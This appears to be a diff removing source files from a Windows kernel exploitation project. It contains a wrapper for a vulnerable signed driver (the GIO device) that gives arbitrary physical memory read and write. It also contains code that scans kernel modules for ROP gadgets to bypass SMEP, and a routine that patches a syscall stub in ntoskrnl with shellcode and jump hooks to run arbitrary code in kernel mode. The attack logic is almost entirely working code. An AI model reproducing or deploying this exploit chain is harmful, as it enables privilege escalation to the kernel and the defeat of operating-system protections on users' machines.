else if (flags & cm_resource_memory_large_48)
|
||||
return uint64_t{ sizeButNotExactly } << 16;
|
||||
else if (flags & cm_resource_memory_large_64)
|
||||
return uint64_t{ sizeButNotExactly } << 32;
|
||||
else
|
||||
return uint64_t{ sizeButNotExactly };
|
||||
}
|
||||
};
|
||||
static_assert(sizeof(PhysicalMemoryPage) == 20);
|
||||
#pragma pack (pop)
|
||||
|
||||
inline const auto init_ranges = ([&]() -> bool
|
||||
{
|
||||
HKEY h_key;
|
||||
DWORD type, size;
|
||||
LPBYTE data;
|
||||
RegOpenKeyEx(HKEY_LOCAL_MACHINE, "HARDWARE\\RESOURCEMAP\\System Resources\\Physical Memory", 0, KEY_READ, &h_key);
|
||||
RegQueryValueEx(h_key, ".Translated", NULL, &type, NULL, &size); //get size
|
||||
data = new BYTE[size];
|
||||
RegQueryValueEx(h_key, ".Translated", NULL, &type, data, &size);
|
||||
DWORD count = *(DWORD*)(data + 16);
|
||||
auto pmi = data + 24;
|
||||
for (int dwIndex = 0; dwIndex < count; dwIndex++)
|
||||
{
|
||||
#if 0
|
||||
pmem_ranges.emplace(*(uint64_t*)(pmi + 0), *(uint64_t*)(pmi + 8));
|
||||
#else
|
||||
const PhysicalMemoryPage& page{ *(PhysicalMemoryPage*)(pmi - 4) };
|
||||
pmem_ranges.emplace(page.pBegin, page.size());
|
||||
#endif
|
||||
pmi += 20;
|
||||
}
|
||||
delete[] data;
|
||||
RegCloseKey(h_key);
|
||||
return true;
|
||||
})();
|
||||
|
||||
inline std::uintptr_t scan(std::uintptr_t base, std::uint32_t size, const char* pattern, const char* mask)
|
||||
{
|
||||
static const auto check_mask =
|
||||
[&](const char* base, const char* pattern, const char* mask) -> bool
|
||||
{
|
||||
for (; *mask; ++base, ++pattern, ++mask)
|
||||
if (*mask == 'x' && *base != *pattern)
|
||||
return false;
|
||||
return true;
|
||||
};
|
||||
|
||||
size -= strlen(mask);
|
||||
for (auto i = 0; i <= size; ++i)
|
||||
{
|
||||
void* addr = (void*)&(((char*)base)[i]);
|
||||
if (check_mask((char*)addr, pattern, mask))
|
||||
return reinterpret_cast<std::uintptr_t>(addr);
|
||||
}
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
inline void open_binary_file(const std::string& file, std::vector<uint8_t>& data)
|
||||
{
|
||||
std::ifstream fstr(file, std::ios::binary);
|
||||
fstr.unsetf(std::ios::skipws);
|
||||
fstr.seekg(0, std::ios::end);
|
||||
|
||||
const auto file_size = fstr.tellg();
|
||||
|
||||
fstr.seekg(NULL, std::ios::beg);
|
||||
data.reserve(static_cast<uint32_t>(file_size));
|
||||
data.insert(data.begin(), std::istream_iterator<uint8_t>(fstr), std::istream_iterator<uint8_t>());
|
||||
}
|
||||
|
||||
inline std::uint32_t get_pid(const char* proc_name)
|
||||
{
|
||||
PROCESSENTRY32 proc_info;
|
||||
proc_info.dwSize = sizeof(proc_info);
|
||||
|
||||
HANDLE proc_snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
|
||||
if (proc_snapshot == INVALID_HANDLE_VALUE)
|
||||
return NULL;
|
||||
|
||||
Process32First(proc_snapshot, &proc_info);
|
||||
if (!std::strcmp(proc_info.szExeFile, proc_name))
|
||||
{
|
||||
CloseHandle(proc_snapshot);
|
||||
return proc_info.th32ProcessID;
|
||||
}
|
||||
|
||||
while (Process32Next(proc_snapshot, &proc_info))
|
||||
{
|
||||
if (!std::strcmp(proc_info.szExeFile, proc_name))
|
||||
{
|
||||
CloseHandle(proc_snapshot);
|
||||
return proc_info.th32ProcessID;
|
||||
}
|
||||
}
|
||||
|
||||
CloseHandle(proc_snapshot);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
|
||||
namespace kmodule
|
||||
{
|
||||
using kmodule_callback_t = std::function<bool(PRTL_PROCESS_MODULE_INFORMATION, const char*)>;
|
||||
inline void each_module(kmodule_callback_t callback)
|
||||
{
|
||||
void* buffer = nullptr;
|
||||
DWORD buffer_size = NULL;
|
||||
|
||||
auto status = NtQuerySystemInformation(
|
||||
static_cast<SYSTEM_INFORMATION_CLASS>(0xB),
|
||||
buffer, buffer_size, &buffer_size);
|
||||
|
||||
while (status == STATUS_INFO_LENGTH_MISMATCH)
|
||||
{
|
||||
VirtualFree(buffer, NULL, MEM_RELEASE);
|
||||
buffer = VirtualAlloc(nullptr, buffer_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||
status = NtQuerySystemInformation(
|
||||
static_cast<SYSTEM_INFORMATION_CLASS>(0xB),
|
||||
buffer, buffer_size, &buffer_size);
|
||||
}
|
||||
|
||||
if (!NT_SUCCESS(status))
|
||||
{
|
||||
VirtualFree(buffer, NULL, MEM_RELEASE);
|
||||
return;
|
||||
}
|
||||
|
||||
const auto modules = static_cast<PRTL_PROCESS_MODULES>(buffer);
|
||||
for (auto idx = 0u; idx < modules->NumberOfModules; ++idx)
|
||||
{
|
||||
auto full_path = std::string(
|
||||
reinterpret_cast<char*>(
|
||||
modules->Modules[idx].FullPathName));
|
||||
|
||||
if (full_path.find("\\SystemRoot\\") != std::string::npos)
|
||||
full_path.replace(full_path.find("\\SystemRoot\\"),
|
||||
sizeof("\\SystemRoot\\") - 1, std::string(getenv("SYSTEMROOT")).append("\\"));
|
||||
|
||||
else if (full_path.find("\\??\\") != std::string::npos)
|
||||
full_path.replace(full_path.find("\\??\\"),
|
||||
sizeof("\\??\\") - 1, "");
|
||||
|
||||
if (!callback(&modules->Modules[idx], full_path.c_str()))
|
||||
{
|
||||
VirtualFree(buffer, NULL, MEM_RELEASE);
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
VirtualFree(buffer, NULL, MEM_RELEASE);
|
||||
return;
|
||||
}
|
||||
|
||||
inline std::uintptr_t get_base(const char* module_name)
|
||||
{
|
||||
void* buffer = nullptr;
|
||||
DWORD buffer_size = NULL;
|
||||
|
||||
auto status = NtQuerySystemInformation(
|
||||
static_cast<SYSTEM_INFORMATION_CLASS>(0xB),
|
||||
buffer, buffer_size, &buffer_size);
|
||||
|
||||
while (status == STATUS_INFO_LENGTH_MISMATCH)
|
||||
{
|
||||
VirtualFree(buffer, NULL, MEM_RELEASE);
|
||||
buffer = VirtualAlloc(nullptr, buffer_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||
status = NtQuerySystemInformation(
|
||||
static_cast<SYSTEM_INFORMATION_CLASS>(0xB),
|
||||
buffer, buffer_size, &buffer_size);
|
||||
}
|
||||
|
||||
if (!NT_SUCCESS(status))
|
||||
{
|
||||
VirtualFree(buffer, NULL, MEM_RELEASE);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
const auto modules = static_cast<PRTL_PROCESS_MODULES>(buffer);
|
||||
for (auto idx = 0u; idx < modules->NumberOfModules; ++idx)
|
||||
{
|
||||
const auto current_module_name =
|
||||
std::string(reinterpret_cast<char*>(
|
||||
modules->Modules[idx].FullPathName) +
|
||||
modules->Modules[idx].OffsetToFileName);
|
||||
|
||||
if (!_stricmp(current_module_name.c_str(), module_name))
|
||||
{
|
||||
const auto result =
|
||||
reinterpret_cast<std::uint64_t>(
|
||||
modules->Modules[idx].ImageBase);
|
||||
|
||||
VirtualFree(buffer, NULL, MEM_RELEASE);
|
||||
return result;
|
||||
}
|
||||
}
|
||||
|
||||
VirtualFree(buffer, NULL, MEM_RELEASE);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
inline std::uintptr_t get_export(const char* module_name, const char* export_name)
|
||||
{
|
||||
void* buffer = nullptr;
|
||||
DWORD buffer_size = NULL;
|
||||
|
||||
NTSTATUS status = NtQuerySystemInformation(
|
||||
static_cast<SYSTEM_INFORMATION_CLASS>(0xB),
|
||||
buffer,
|
||||
buffer_size,
|
||||
&buffer_size
|
||||
);
|
||||
|
||||
while (status == STATUS_INFO_LENGTH_MISMATCH)
|
||||
{
|
||||
VirtualFree(buffer, 0, MEM_RELEASE);
|
||||
buffer = VirtualAlloc(nullptr, buffer_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||
status = NtQuerySystemInformation(
|
||||
static_cast<SYSTEM_INFORMATION_CLASS>(0xB),
|
||||
buffer,
|
||||
buffer_size,
|
||||
&buffer_size
|
||||
);
|
||||
}
|
||||
|
||||
if (!NT_SUCCESS(status))
|
||||
{
|
||||
VirtualFree(buffer, 0, MEM_RELEASE);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
const auto modules = static_cast<PRTL_PROCESS_MODULES>(buffer);
|
||||
for (auto idx = 0u; idx < modules->NumberOfModules; ++idx)
|
||||
{
|
||||
// find module and then load library it
|
||||
const std::string current_module_name =
|
||||
std::string(reinterpret_cast<char*>(
|
||||
modules->Modules[idx].FullPathName) +
|
||||
modules->Modules[idx].OffsetToFileName
|
||||
);
|
||||
|
||||
if (!_stricmp(current_module_name.c_str(), module_name))
|
||||
{
|
||||
auto full_path = std::string(
|
||||
reinterpret_cast<char*>(
|
||||
modules->Modules[idx].FullPathName));
|
||||
|
||||
if (full_path.find("\\SystemRoot\\") != std::string::npos)
|
||||
full_path.replace(full_path.find("\\SystemRoot\\"),
|
||||
sizeof("\\SystemRoot\\") - 1, std::string(getenv("SYSTEMROOT")).append("\\"));
|
||||
|
||||
else if (full_path.find("\\??\\") != std::string::npos)
|
||||
full_path.replace(full_path.find("\\??\\"),
|
||||
sizeof("\\??\\") - 1, "");
|
||||
|
||||
const auto module_base =
|
||||
LoadLibraryExA(
|
||||
full_path.c_str(),
|
||||
NULL,
|
||||
DONT_RESOLVE_DLL_REFERENCES
|
||||
);
|
||||
|
||||
if (!module_base)
|
||||
{
|
||||
// free the RTL_PROCESS_MODULES buffer...
|
||||
VirtualFree(buffer, NULL, MEM_RELEASE);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
const auto image_base =
|
||||
reinterpret_cast<std::uintptr_t>(
|
||||
modules->Modules[idx].ImageBase);
|
||||
|
||||
// free the RTL_PROCESS_MODULES buffer...
|
||||
VirtualFree(buffer, NULL, MEM_RELEASE);
|
||||
|
||||
const auto export_um_addr =
|
||||
reinterpret_cast<std::uintptr_t>(
|
||||
GetProcAddress(module_base, export_name));
|
||||
|
||||
if (!export_um_addr)
|
||||
return NULL;
|
||||
|
||||
return (export_um_addr - reinterpret_cast<std::uintptr_t>(module_base)) + image_base;
|
||||
}
|
||||
}
|
||||
|
||||
VirtualFree(buffer, NULL, MEM_RELEASE);
|
||||
return NULL;
|
||||
}
|
||||
}
|
||||
|
||||
namespace pe
|
||||
{
|
||||
using section_callback_t = std::function<bool(PIMAGE_SECTION_HEADER, std::uintptr_t)>;
|
||||
|
||||
// returns an std::vector containing all of the bytes of the section
|
||||
// and also the RVA from the image base to the beginning of the section...
|
||||
inline std::pair<std::vector<std::uint8_t>, std::uint32_t> get_section(std::uintptr_t module_base, const char* section_name)
|
||||
{
|
||||
const auto nt_headers = reinterpret_cast<PIMAGE_NT_HEADERS>(
|
||||
reinterpret_cast<PIMAGE_DOS_HEADER>(module_base)->e_lfanew + module_base);
|
||||
|
||||
const auto section_header =
|
||||
reinterpret_cast<PIMAGE_SECTION_HEADER>(
|
||||
reinterpret_cast<std::uintptr_t>(nt_headers) + sizeof(DWORD)
|
||||
+ sizeof(IMAGE_FILE_HEADER) + nt_headers->FileHeader.SizeOfOptionalHeader);
|
||||
|
||||
for (auto idx = 0u; idx < nt_headers->FileHeader.NumberOfSections; ++idx)
|
||||
{
|
||||
const auto _section_name =
|
||||
reinterpret_cast<char*>(
|
||||
section_header[idx].Name);
|
||||
|
||||
// sometimes section names are not null terminated...
|
||||
if (!strncmp(_section_name, section_name, strlen(section_name) - 1))
|
||||
{
|
||||
const auto section_base =
|
||||
reinterpret_cast<std::uint8_t*>(
|
||||
module_base + section_header[idx].VirtualAddress);
|
||||
|
||||
const auto section_end =
|
||||
reinterpret_cast<std::uint8_t*>(
|
||||
section_base + section_header[idx].Misc.VirtualSize);
|
||||
|
||||
std::vector<std::uint8_t> section_bin(section_base, section_end);
|
||||
return { section_bin, section_header[idx].VirtualAddress };
|
||||
}
|
||||
}
|
||||
|
||||
return { {}, {} };
|
||||
}
|
||||
|
||||
inline void each_section(section_callback_t callback, std::uintptr_t module_base)
|
||||
{
|
||||
if (!module_base)
|
||||
return;
|
||||
|
||||
const auto nt_headers = reinterpret_cast<PIMAGE_NT_HEADERS>(
|
||||
reinterpret_cast<PIMAGE_DOS_HEADER>(module_base)->e_lfanew + module_base);
|
||||
|
||||
const auto section_header =
|
||||
reinterpret_cast<PIMAGE_SECTION_HEADER>(
|
||||
reinterpret_cast<std::uintptr_t>(nt_headers) + sizeof(DWORD)
|
||||
+ sizeof(IMAGE_FILE_HEADER) + nt_headers->FileHeader.SizeOfOptionalHeader);
|
||||
|
||||
for (auto idx = 0u; idx < nt_headers->FileHeader.NumberOfSections; ++idx)
|
||||
{
|
||||
const auto _section_name =
|
||||
reinterpret_cast<char*>(
|
||||
section_header[idx].Name);
|
||||
|
||||
// keep looping until the callback returns false...
|
||||
if (!callback(§ion_header[idx], module_base))
|
||||
return;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
namespace rop
|
||||
{
|
||||
// https://j00ru.vexillium.org/2011/06/smep-what-is-it-and-how-to-beat-it-on-windows/
|
||||
// http://blog.ptsecurity.com/2012/09/bypassing-intel-smep-on-windows-8-x64.html?m=1
|
||||
// just implimented the rop information from these posts...
|
||||
inline std::uintptr_t find_kgadget(const char* sig, const char* mask)
|
||||
{
|
||||
std::uintptr_t result = 0u;
|
||||
kmodule::each_module(
|
||||
[&](auto kernel_image, const char* image_name) -> bool
|
||||
{
|
||||
utils::pe::each_section(
|
||||
[&](auto section_header, std::uintptr_t image_base) -> bool
|
||||
{
|
||||
if (section_header->Characteristics & IMAGE_SCN_CNT_CODE &&
|
||||
!(section_header->Characteristics & IMAGE_SCN_MEM_DISCARDABLE))
|
||||
{
|
||||
const auto rop_gadget =
|
||||
utils::scan(image_base + section_header->VirtualAddress,
|
||||
section_header->Misc.VirtualSize, sig, mask);
|
||||
|
||||
if(rop_gadget)
|
||||
result = (rop_gadget - image_base) +
|
||||
reinterpret_cast<std::uintptr_t>(kernel_image->ImageBase);
|
||||
|
||||
return !rop_gadget;
|
||||
}
|
||||
return true;
|
||||
},
|
||||
reinterpret_cast<std::uintptr_t>(
|
||||
LoadLibraryExA(image_name,
|
||||
NULL, DONT_RESOLVE_DLL_REFERENCES))
|
||||
);
|
||||
return !result;
|
||||
}
|
||||
);
|
||||
return result;
|
||||
}
|
||||
}
|
||||
}
|
File diff suppressed because it is too large
Load Diff
@ -1,139 +0,0 @@
|
||||
#pragma once
|
||||
#include <windows.h>
|
||||
#include <cstdint>
|
||||
|
||||
#include "../utils.hpp"
|
||||
#include "../loadup.hpp"
|
||||
#include "raw_driver.hpp"
|
||||
|
||||
#define MAP_PHYSICAL 0xC3502004
|
||||
#define UNMAP_PHYSICAL 0xC3502008
|
||||
|
||||
#pragma pack (push, 1)
|
||||
typedef struct _gdrv_t
|
||||
{
|
||||
unsigned long interface_type;
|
||||
unsigned long bus;
|
||||
std::uintptr_t phys_addr;
|
||||
unsigned long io_space;
|
||||
unsigned long size;
|
||||
} gdrv_t, *pgdrv_t;
|
||||
#pragma pack (pop)
|
||||
|
||||
namespace vdm
|
||||
{
|
||||
inline HANDLE drv_handle;
|
||||
__forceinline auto load_drv() -> std::tuple<HANDLE, std::string, NTSTATUS>
|
||||
{
|
||||
const auto [result, key] =
|
||||
driver::load(
|
||||
vdm::raw_driver,
|
||||
sizeof(vdm::raw_driver)
|
||||
);
|
||||
|
||||
if (result != STATUS_SUCCESS)
|
||||
return { {}, {}, result };
|
||||
|
||||
vdm::drv_handle = CreateFileA(
|
||||
"\\\\.\\GIO",
|
||||
GENERIC_READ | GENERIC_WRITE,
|
||||
NULL,
|
||||
NULL,
|
||||
OPEN_EXISTING,
|
||||
FILE_ATTRIBUTE_NORMAL,
|
||||
NULL
|
||||
);
|
||||
|
||||
return { vdm::drv_handle, key, result };
|
||||
}
|
||||
|
||||
__forceinline auto unload_drv(HANDLE drv_handle, std::string drv_key) -> NTSTATUS
|
||||
{
|
||||
if (!CloseHandle(drv_handle))
|
||||
return STATUS_FAIL_CHECK;
|
||||
|
||||
return driver::unload(drv_key);
|
||||
}
|
||||
|
||||
__forceinline bool read_phys(void* addr, void* buffer, std::size_t size)
|
||||
{
|
||||
gdrv_t in_buffer;
|
||||
in_buffer.bus = NULL;
|
||||
in_buffer.interface_type = NULL;
|
||||
in_buffer.phys_addr = reinterpret_cast<std::uintptr_t>(addr);
|
||||
in_buffer.io_space = NULL;
|
||||
in_buffer.size = size;
|
||||
|
||||
void* out_buffer[2] = { 0 };
|
||||
unsigned long returned = 0;
|
||||
|
||||
if (!DeviceIoControl(
|
||||
drv_handle,
|
||||
MAP_PHYSICAL,
|
||||
reinterpret_cast<void*>(&in_buffer),
|
||||
sizeof in_buffer,
|
||||
out_buffer,
|
||||
sizeof out_buffer,
|
||||
&returned, NULL
|
||||
))
|
||||
return false;
|
||||
|
||||
__try
|
||||
{
|
||||
memcpy(buffer, out_buffer[0], size);
|
||||
}
|
||||
__except (EXCEPTION_EXECUTE_HANDLER)
|
||||
{}
|
||||
|
||||
return DeviceIoControl(
|
||||
drv_handle,
|
||||
UNMAP_PHYSICAL,
|
||||
reinterpret_cast<void*>(&out_buffer[0]),
|
||||
sizeof out_buffer[0],
|
||||
out_buffer,
|
||||
sizeof out_buffer,
|
||||
&returned, NULL
|
||||
);
|
||||
}
|
||||
|
||||
__forceinline bool write_phys(void* addr, void* buffer, std::size_t size)
|
||||
{
|
||||
gdrv_t in_buffer;
|
||||
in_buffer.bus = NULL;
|
||||
in_buffer.interface_type = NULL;
|
||||
in_buffer.phys_addr = reinterpret_cast<std::uintptr_t>(addr);
|
||||
in_buffer.io_space = NULL;
|
||||
in_buffer.size = size;
|
||||
|
||||
void* out_buffer[2] = { 0 };
|
||||
unsigned long returned = 0;
|
||||
|
||||
if (!DeviceIoControl(
|
||||
drv_handle,
|
||||
MAP_PHYSICAL,
|
||||
reinterpret_cast<void*>(&in_buffer),
|
||||
sizeof in_buffer,
|
||||
out_buffer,
|
||||
sizeof out_buffer,
|
||||
&returned, NULL
|
||||
))
|
||||
return false;
|
||||
|
||||
__try
|
||||
{
|
||||
memcpy(out_buffer[0], buffer, size);
|
||||
}
|
||||
__except (EXCEPTION_EXECUTE_HANDLER)
|
||||
{}
|
||||
|
||||
return DeviceIoControl(
|
||||
drv_handle,
|
||||
UNMAP_PHYSICAL,
|
||||
reinterpret_cast<void*>(&out_buffer[0]),
|
||||
sizeof out_buffer[0],
|
||||
out_buffer,
|
||||
sizeof out_buffer,
|
||||
&returned, NULL
|
||||
);
|
||||
}
|
||||
}
|
@ -1,103 +0,0 @@
|
||||
#include "vdm_ctx.hpp"
|
||||
|
||||
namespace vdm
|
||||
{
|
||||
vdm_ctx::vdm_ctx(read_phys_t& read_func, write_phys_t& write_func)
|
||||
:
|
||||
read_phys(read_func),
|
||||
write_phys(write_func)
|
||||
{
|
||||
// already found the syscall's physical page...
|
||||
if (vdm::syscall_address.load())
|
||||
return;
|
||||
|
||||
vdm::ntoskrnl = reinterpret_cast<std::uint8_t*>(
|
||||
LoadLibraryExA("ntoskrnl.exe", NULL,
|
||||
DONT_RESOLVE_DLL_REFERENCES));
|
||||
|
||||
vdm::nt_rva =
|
||||
utils::kmodule::get_export(
|
||||
"ntoskrnl.exe",
|
||||
syscall_hook.first
|
||||
) - utils::kmodule::get_base("ntoskrnl.exe");
|
||||
|
||||
vdm::nt_page_offset = nt_rva % PAGE_4KB;
|
||||
// for each physical memory range, make a thread to search it
|
||||
std::vector<std::thread> search_threads;
|
||||
for (auto ranges : utils::pmem_ranges)
|
||||
search_threads.emplace_back(std::thread(
|
||||
&vdm_ctx::locate_syscall,
|
||||
this,
|
||||
ranges.first,
|
||||
ranges.second
|
||||
));
|
||||
|
||||
for (std::thread& search_thread : search_threads)
|
||||
search_thread.join();
|
||||
}
|
||||
|
||||
void vdm_ctx::set_read(read_phys_t& read_func)
|
||||
{
|
||||
this->read_phys = read_func;
|
||||
}
|
||||
|
||||
void vdm_ctx::set_write(write_phys_t& write_func)
|
||||
{
|
||||
this->write_phys = write_func;
|
||||
}
|
||||
|
||||
void vdm_ctx::locate_syscall(std::uintptr_t address, std::uintptr_t length) const
|
||||
{
|
||||
const auto page_data =
|
||||
reinterpret_cast<std::uint8_t*>(
|
||||
VirtualAlloc(
|
||||
nullptr,
|
||||
PAGE_4KB, MEM_COMMIT | MEM_RESERVE,
|
||||
PAGE_READWRITE
|
||||
));
|
||||
|
||||
for (auto page = 0u; page < length; page += PAGE_4KB)
|
||||
{
|
||||
if (vdm::syscall_address.load())
|
||||
break;
|
||||
|
||||
if (!read_phys(reinterpret_cast<void*>(address + page), page_data, PAGE_4KB))
|
||||
continue;
|
||||
|
||||
// check the first 32 bytes of the syscall, if its the same, test that its the correct
|
||||
// occurrence of these bytes (since dxgkrnl is loaded into physical memory at least 2 times now)...
|
||||
if (!memcmp(page_data + nt_page_offset, ntoskrnl + nt_rva, 32))
|
||||
if (valid_syscall(reinterpret_cast<void*>(address + page + nt_page_offset)))
|
||||
syscall_address.store(
|
||||
reinterpret_cast<void*>(
|
||||
address + page + nt_page_offset));
|
||||
}
|
||||
VirtualFree(page_data, PAGE_4KB, MEM_DECOMMIT);
|
||||
}
|
||||
|
||||
bool vdm_ctx::valid_syscall(void* syscall_addr) const
|
||||
{
|
||||
static std::mutex syscall_mutex;
|
||||
syscall_mutex.lock();
|
||||
|
||||
static const auto proc =
|
||||
GetProcAddress(
|
||||
LoadLibraryA(syscall_hook.second),
|
||||
syscall_hook.first
|
||||
);
|
||||
|
||||
// 0: 48 31 c0 xor rax, rax
|
||||
// 3 : c3 ret
|
||||
std::uint8_t shellcode[] = { 0x48, 0x31, 0xC0, 0xC3 };
|
||||
std::uint8_t orig_bytes[sizeof shellcode];
|
||||
|
||||
// save original bytes and install shellcode...
|
||||
read_phys(syscall_addr, orig_bytes, sizeof orig_bytes);
|
||||
write_phys(syscall_addr, shellcode, sizeof shellcode);
|
||||
|
||||
auto result = reinterpret_cast<NTSTATUS(__fastcall*)(void)>(proc)();
|
||||
write_phys(syscall_addr, orig_bytes, sizeof orig_bytes);
|
||||
syscall_mutex.unlock();
|
||||
return result == STATUS_SUCCESS;
|
||||
}
|
||||
}
|
@ -1,71 +0,0 @@
|
||||
#pragma once
|
||||
#include <windows.h>
|
||||
#include <string_view>
|
||||
#include <vector>
|
||||
#include <thread>
|
||||
#include <atomic>
|
||||
#include <mutex>
|
||||
#include <functional>
|
||||
#include "vdm.hpp"
|
||||
|
||||
namespace vdm
|
||||
{
|
||||
// change this to whatever you want :^)
|
||||
constexpr std::pair<const char*, const char*> syscall_hook = { "NtShutdownSystem", "ntdll.dll" };
|
||||
inline std::atomic<bool> is_page_found = false;
|
||||
inline std::atomic<void*> syscall_address = nullptr;
|
||||
inline std::uint16_t nt_page_offset;
|
||||
inline std::uint32_t nt_rva;
|
||||
inline std::uint8_t* ntoskrnl;
|
||||
|
||||
using read_phys_t = std::function<decltype(vdm::read_phys)>;
|
||||
using write_phys_t = std::function<decltype(vdm::write_phys)>;
|
||||
|
||||
class vdm_ctx
|
||||
{
|
||||
public:
|
||||
explicit vdm_ctx(read_phys_t& read_func, write_phys_t& write_func);
|
||||
void set_read(read_phys_t& read_func);
|
||||
void set_write(write_phys_t& write_func);
|
||||
|
||||
template <class T, class ... Ts>
|
||||
__forceinline std::invoke_result_t<T, Ts ...> syscall(void* addr, Ts ... args) const
|
||||
{
|
||||
static const auto proc =
|
||||
GetProcAddress(
|
||||
LoadLibraryA(syscall_hook.second),
|
||||
syscall_hook.first
|
||||
);
|
||||
|
||||
static std::mutex syscall_mutex;
|
||||
syscall_mutex.lock();
|
||||
|
||||
// jmp [rip+0x0]
|
||||
std::uint8_t jmp_code[] =
|
||||
{
|
||||
0xff, 0x25, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00
|
||||
};
|
||||
|
||||
std::uint8_t orig_bytes[sizeof jmp_code];
|
||||
*reinterpret_cast<void**>(jmp_code + 6) = addr;
|
||||
read_phys(vdm::syscall_address.load(), orig_bytes, sizeof orig_bytes);
|
||||
|
||||
// execute hook...
|
||||
write_phys(vdm::syscall_address.load(), jmp_code, sizeof jmp_code);
|
||||
auto result = reinterpret_cast<T>(proc)(args ...);
|
||||
write_phys(vdm::syscall_address.load(), orig_bytes, sizeof orig_bytes);
|
||||
|
||||
syscall_mutex.unlock();
|
||||
return result;
|
||||
}
|
||||
private:
|
||||
void locate_syscall(std::uintptr_t begin, std::uintptr_t end) const;
|
||||
bool valid_syscall(void* syscall_addr) const;
|
||||
|
||||
read_phys_t read_phys;
|
||||
write_phys_t write_phys;
|
||||
};
|
||||
}
|
@ -1,55 +0,0 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup>
|
||||
<Filter Include="Source Files">
|
||||
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
|
||||
<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Header Files">
|
||||
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
|
||||
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
|
||||
</Filter>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="main.cpp">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="msrexec.cpp">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="ia32.hpp">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="loadup.hpp">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="utils.hpp">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="msrexec.hpp">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="raw_driver.hpp">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="syscall_handler.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="vdm.hpp">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="theo.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="linker.hpp">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<MASM Include="syscall_handler.asm">
|
||||
<Filter>Source Files</Filter>
|
||||
</MASM>
|
||||
</ItemGroup>
|
||||
</Project>
|
@ -1,13 +0,0 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<LocalDebuggerCommandArguments>
|
||||
</LocalDebuggerCommandArguments>
|
||||
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<LocalDebuggerCommandArguments>
|
||||
</LocalDebuggerCommandArguments>
|
||||
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
|
||||
</PropertyGroup>
|
||||
</Project>
|
File diff suppressed because it is too large
Load Diff
@ -1,76 +0,0 @@
|
||||
#pragma once
|
||||
#include <Windows.h>
|
||||
#include <winternl.h>
|
||||
#include <vector>
|
||||
#include <functional>
|
||||
#include <fstream>
|
||||
#include "utils.hpp"
|
||||
|
||||
namespace lnk
|
||||
{
|
||||
enum theo_type
|
||||
{
|
||||
obfuscate = 1,
|
||||
mutate = 2,
|
||||
encrypt = 3
|
||||
};
|
||||
|
||||
struct symbol_t
|
||||
{
|
||||
// name of the symbol... not mangled...
|
||||
std::string symbol_name;
|
||||
|
||||
// https://docs.microsoft.com/en-us/windows/win32/debug/pe-format#type-representation
|
||||
std::uint32_t type;
|
||||
|
||||
// what section this symbol is in...
|
||||
std::uint32_t section_number;
|
||||
|
||||
// offset into section...
|
||||
std::uint32_t section_offset;
|
||||
|
||||
// file offset into OBJ file...
|
||||
std::uint32_t file_offset;
|
||||
|
||||
// only used by functions... size in bytes of routine...
|
||||
std::uint32_t size;
|
||||
|
||||
// if this symbol is a function and is inside of a .theo section...
|
||||
theo_type obfuscate_type;
|
||||
};
|
||||
|
||||
// redef of IMAGE_RELOCATION so that "VirtualAddress"
|
||||
// will actually be a file offset instead of a section offset...
|
||||
struct image_reloc_t
|
||||
{
|
||||
// name of the symbol to be resolved for example "ExAllocatePool"...
|
||||
std::string resolve_symbol_name;
|
||||
|
||||
// offset into the obj file where the resolving needs to be done...
|
||||
std::uint32_t file_offset;
|
||||
|
||||
// type of data that needs to be resolved... this will be 64bit addresses...
|
||||
// https://docs.microsoft.com/en-us/windows/win32/debug/pe-format#type-indicators
|
||||
std::uint16_t type;
|
||||
